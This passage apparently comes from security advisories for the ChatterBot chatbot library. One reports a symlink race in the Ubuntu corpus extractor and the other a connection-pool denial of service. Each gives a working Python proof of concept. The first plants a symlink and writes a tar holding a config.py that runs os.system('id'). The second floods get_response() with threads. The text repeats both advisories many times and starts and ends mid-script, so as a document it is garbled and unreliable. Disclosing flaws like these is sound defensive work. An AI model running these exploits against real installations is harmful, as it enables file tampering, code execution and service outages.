        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
